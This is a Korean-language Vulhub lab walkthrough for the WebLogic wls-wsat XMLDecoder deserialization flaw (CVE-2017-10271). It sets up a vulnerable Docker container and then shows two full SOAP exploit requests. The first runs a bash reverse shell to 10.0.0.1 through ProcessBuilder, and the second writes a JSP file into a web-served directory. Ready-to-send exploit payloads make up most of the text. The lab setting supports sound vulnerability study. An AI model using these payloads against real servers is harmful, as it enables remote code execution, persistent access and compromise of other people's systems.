
Vulhub weblogic/CVE-2017-10271: WebLogic wls-wsat XMLDecoder RCE, Isoloom으로 실행
Oracle Weblogic Server는 엔터프라이즈 애플리케이션을 구축하고 배포하기 위한 다양한 기능을 제공하는 인기 있는 엔터프라이즈 애플리케이션 서버입니다.
Weblogic의 WLS Security 컴포넌트는 웹서비스 서비스를 제공하며, XMLDecoder를 사용하여 사용자가 제출한 XML 데이터를 파싱합니다. 이 파싱 과정에서 역직렬화 취약점이 발생하여 임의 명령 실행이 가능합니다.
참조 링크:
취약한 Weblogic 서버 10.3.6.0-2017을 시작합니다:
docker compose up -d
잠시 기다린 후 http://your-ip:7001/에 접속하면 404 페이지가 표시되며, 이는 weblogic이 성공적으로 시작되었음을 나타냅니다.
다음 요청을 전송합니다(리버스 셸 명령은 인코딩해야 하며, 그렇지 않으면 XML 파싱으로 인해 형식 오류가 발생합니다):
POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: your-ip:7001
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: text/xml
Content-Length: 633
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>bash -i >& /dev/tcp/10.0.0.1/21 0>&1</string>
</void>
</array>
<void method="start"/></void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
셸 획득 성공:

웹셸 작성 (접근: http://your-ip:7001/bea_wls_internal/test.jsp):
POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: your-ip:7001
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: text/xml
Content-Length: 638
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java><java version="1.4.0" class="java.beans.XMLDecoder">
<object class="java.io.PrintWriter">
<string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/test.jsp</string>
<void method="println"><string>
<![CDATA[
<% out.print("test"); %>
]]>
</string>
</void>
<void method="close"/>
</object></java></java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>